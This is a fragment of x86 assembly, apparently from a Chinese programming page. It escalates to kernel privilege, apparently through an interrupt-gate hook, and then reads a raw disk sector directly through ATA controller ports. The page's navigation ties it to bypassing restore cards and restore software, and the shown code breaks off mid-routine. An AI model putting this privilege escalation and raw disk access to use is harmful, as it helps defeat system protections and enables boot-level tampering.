db 079H,073H,074H,065H,06dH,000H,04dH,069H,073H,073H,069H,06eH,067H,020H,06fH,070H db 065H,072H,061H,074H,069H,06eH,067H,020H,073H,079H,073H,074H,065H,06dH,000H,000H .DATA? lpOldGate dd ? IDT db 6 dup (?) buffer2 db 512 dup (?)
.CODE start: push offset ExceptCallBack; (security if ring transform doesn’t work) call SetUnhandledExceptionFilter ; Catch exceptions call ShowBuffer push offset Ring0Code call ToRing0Code invoke ExitProcess,0 ; exit
Ring0Code PROC ; Ring0 code here..
mov dx,1f6h ;Drive and head port mov al,0a0h ;Drive 0,Head 0 out dx,al
mov dx,1f2h ;Sector count port mov al,1 ;Read One Sector out dx,al
mov dx,1f3h ;Sector number port mov al,1 ;Read One Sector out dx,al
mov dx,1f4h ;Cylinder low port xor al,al ;Cylinder 0 out dx,al
mov dx,1f5h ;Cylinder high port xor al,al ;The rest of Cylinder 0 out dx,al mov dx,1f7h ;Command port mov al,20h ;Read with Entry out dx,al Still_going: in al,dx test al,8 ;This means the sector buffer requires servcing jz Still_going;do not continue until the sector buffer is ready xor ecx,ecx mov cx,512/2 ;one sector/2 mov edi,offset buffer2 mov dx,1f0h ;data port - data comes in and out here cli cld rep insw sti
xor ecx,ecx mov cx,352/2 上一篇:一种可以穿透还原卡和还原软件的代码 下一篇:扩展int13h调用详解(修正) |